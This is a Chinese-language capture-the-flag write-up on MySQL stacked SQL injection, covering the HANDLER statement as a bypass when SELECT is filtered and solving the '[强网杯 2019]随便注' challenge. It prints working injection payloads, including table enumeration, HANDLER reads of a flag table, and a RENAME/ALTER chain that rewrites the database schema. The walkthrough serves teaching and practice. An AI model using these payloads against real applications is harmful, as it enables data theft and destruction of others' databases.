用法
MySQL可以执行多条语句,多条语句之前用;做分隔。 简单的说,由于分号;为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法 执行其他恶意语句,如RENAME、DROP等,堆叠注入可以用于执行任何SQL语句。
并不是所有情况下都可以使用堆叠注入
需要满足条件$mysqli->multi_query($sql);
注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返 回前端页面。建议使用union联合注入,若无法使用联合注入, 可考虑使用RENAME关键 字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名
当select被过滤了用handler来绕过
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一 行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是
mysql专用的语句,并没有包含到SQL标准中。
条件:堆叠注入
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄
题目
[强网杯 2019]随便注

输入 1’

报错说明存在sql注入漏洞
输入 1’ order by 3#时

说明select语句里有两个字段
然后尝试用联合注入获取数据库名

发现select被过滤了然后用堆叠注入的方法获得表名
1';show tables;#

得到两个表 然后分别查询两个表中的字段
1';show columns from `1919810931114514`;#

这里发现有个 flag
第一种方法:
所以只需 select flag from 1919810931114514;# 但是select被过滤了所以要用handler1
1';handler `1919810931114514` open;handler `1919810931114514` read first#
得到flag

第二种方法:
1';show columns from `words`;#

发现了 id data 这两个字段
可以
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,把flag改为id
1';RENAME TABLE `words` TO `words2`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
然后
payload
1' or 1#
